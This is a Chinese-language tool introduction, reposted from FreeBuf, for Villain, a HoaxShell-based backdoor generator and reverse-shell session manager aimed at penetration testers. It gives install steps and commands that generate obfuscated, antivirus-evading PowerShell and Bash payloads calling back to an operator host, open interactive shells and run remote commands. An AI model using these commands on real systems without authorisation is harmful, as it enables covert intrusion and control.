关于Villain

Villain是一款针对Windows和Linux操作系统设计和开发的后门生成与多会话处理工具,该工具允许广大研究人员与兄弟服务器或其他运行了Villain的设备进行连接,并共享他们的后门会话,以方便广大研究人员和团队之间的协同工作。

Villain生成Payload所采用的机制基于HoaxShell实现,也可以说Villain在这方面是HoaxShell的一个升级版本。

工具特性

1、Villain包含了一个内置的针对Windows平台的Payload自动混淆功能,旨在帮助广大研究人员绕过AV解决方案;

2、该工具生成的每一个Payload只能使用一次,已使用过的Payload不能重新用于会话建立;

3、兄弟服务器之间的通信是AES加密的,使用接收方兄弟服务器的ID作为加密密钥,本地服务器的ID的16个第一字节作为IV。在两个兄弟服务器的初始连接握手期间,每个服务器的ID都是明文交换的,这意味着握手可以被捕获并用于解密兄弟服务器间的通信。我知道这样很“弱”,因为该工具设计用于渗透测试/红色团队评估期间,对此加密模式应该足够了;

4、相互连接的Villain实例(兄弟服务器)也必须能够直接到达彼此。我打算添加一个网络路由映射实用程序,以便兄弟服务器可以将彼此用作代理,以实现它们之间的跨网络通信;

工具运行机制

下图显示的是HTTP(S)反向Shell的运行机制:

工具安装

由于该工具基于Python 3开发,因此广大研究人员首先需要在本地设备上安装并配置好Python 3环境。接下来,使用下列命令将该项目源码克隆至本地:

git clone https://github.com/t3l3machus/Villain

然后切换到项目目录下,并使用pip命令和项目提供的requirements.txt来安装该工具所需的其他依赖组件:

cd ./Villain

pip3 install -r requirements.txt

工具使用

生成后门Payload

我们可以使用generate命令来生成针对Windows或Linux设备的后门Payload:

generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]

支持的后门Payload类型如下:

Windows:PowerShell

Linux:Bash

使用样例:

# For Windows:

Villain > generate os=windows lhost=eth0 obfuscate

Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode

 

# For Linux:

Villain > generate os=linux lhost=192.168.12.62

连接兄弟服务器

我们可以使用connect命令连接运行了Villain的设备并共享后门会话:

connect <IP> <CORE SERVER PORT>

Shell命令

我们可以使用shell命令来针对一个会话开启交互式HoaxShell:

shell <SESSION ID or ALIAS>

exec命令

exec命令可以针对一个会话在文件系统中执行引用的命令或脚本:

exec </path/to/local/file> <SESSION ID or ALIAS>

exec 'net user;Get-Date' <SESSION ID or ALIAS>

工具运行截图

视频演示

视频地址1:【点我观看

视频地址2:【点我观看

许可证协议

本项目的开发与发布遵循CC知识共享许可协议

项目地址

Villain:【GitHub传送门

参考资料

https://github.com/t3l3machus/hoaxshell

https://www.y0utube.com/watch?v=FVbdZSGkzhs

https://www.y0utube.com/watch?v=8cVyrBSy0zo

本文作者:Alpha_h4ck, 转自FreeBuf